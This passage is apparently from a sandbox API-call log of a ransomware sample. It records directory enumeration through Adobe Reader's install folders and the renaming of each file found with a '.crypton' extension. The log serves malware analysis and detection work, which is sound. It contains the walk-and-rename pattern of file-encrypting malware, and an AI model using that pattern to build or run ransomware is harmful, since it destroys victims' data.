(in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f64920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9f64920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.370] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f64920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9f64920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.376] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f8aa80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9f8aa80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.378] GetFileType (hFile=0x20c) returned 0x1 [0155.383] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f8aa80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9f8aa80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0155.385] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer.crypton"), dwFlags=0x2) returned 1 [0155.390] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der.crypton"), dwFlags=0x2) returned 1 [0155.392] GetFileType (hFile=0x1a4) returned 0x1 [0155.396] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9fb0be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9fb0be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.416] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg.crypton"), dwFlags=0x2) returned 1 [0155.418] GetFileType (hFile=0x1a4) returned 0x1 [0155.423] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ffcea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9ffcea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.434] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ffcea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9ffcea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.438] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif.crypton"), dwFlags=0x2) returned 1 [0155.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif.crypton"), dwFlags=0x2) returned 1 [0155.444] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif.crypton"), dwFlags=0x2) returned 1 [0155.447] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif.crypton"), dwFlags=0x2) returned 1 [0155.451] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif.crypton"), dwFlags=0x2) returned 1 [0155.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif.crypton"), dwFlags=0x2) returned 1 [0155.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif.crypton"), dwFlags=0x2) returned 1 [0155.461] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif.crypton"), dwFlags=0x2) returned 1 [0155.464] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif.crypton"), dwFlags=0x2) returned 1 [0155.467] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif.crypton"), dwFlags=0x2) returned 1 [0155.470] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif.crypton"), dwFlags=0x2) returned 1 [0155.472] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif.crypton"), dwFlags=0x2) returned 1 [0155.475] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif.crypton"), dwFlags=0x2) returned 1 [0155.479] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif.crypton"), dwFlags=0x2) returned 1 [0155.489] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css.crypton"), dwFlags=0x2) returned 1 [0155.492] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif.crypton"), dwFlags=0x2) returned 1 [0155.495] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif.crypton"), dwFlags=0x2) returned 1 [0155.501] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif.crypton"), dwFlags=0x2) returned 1 [0155.504] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif.crypton"), dwFlags=0x2) returned 1 [0155.507] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif.crypton"), dwFlags=0x2) returned 1 [0155.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif.crypton"), dwFlags=0x2) returned 1 [0155.514] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif.crypton"), dwFlags=0x2) returned 1 [0155.517] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif.crypton"), dwFlags=0x2) returned 1 [0155.520] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif.crypton"), dwFlags=0x2) returned 1 [0155.524] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif.crypton"), dwFlags=0x2) returned 1 [0155.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif.crypton"), dwFlags=0x2) returned 1 [0155.529] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif.crypton"), dwFlags=0x2) returned 1 [0155.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif.crypton"), dwFlags=0x2) returned 1 [0155.535] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif.crypton"), dwFlags=0x2) returned 1 [0155.538] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif.crypton"), dwFlags=0x2) returned 1 [0155.541] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif.crypton"), dwFlags=0x2) returned 1 [0155.544] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif.crypton"), dwFlags=0x2) returned 1 [0155.547] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif.crypton"), dwFlags=0x2) returned 1 [0155.551] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif.crypton"), dwFlags=0x2) returned 1 [0155.553] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif.crypton"), dwFlags=0x2) returned 1 [0155.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif.crypton"), dwFlags=0x2) returned 1 [0155.560] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif.crypton"), dwFlags=0x2) returned 1 [0155.563] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif.crypton"), dwFlags=0x2) returned 1 [0155.565] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif.crypton"), dwFlags=0x2) returned 1 [0155.574] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda153b00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xda153b00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0155.579] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda179c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xda179c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.717] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.732] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf.crypton"), dwFlags=0x2) returned 1 [0155.739] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda2f6a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xda2f6a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.741] GetFileType (hFile=0x20c) returned 0x1 [0155.745] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", lpFindFileData=0x4aa078 | out: 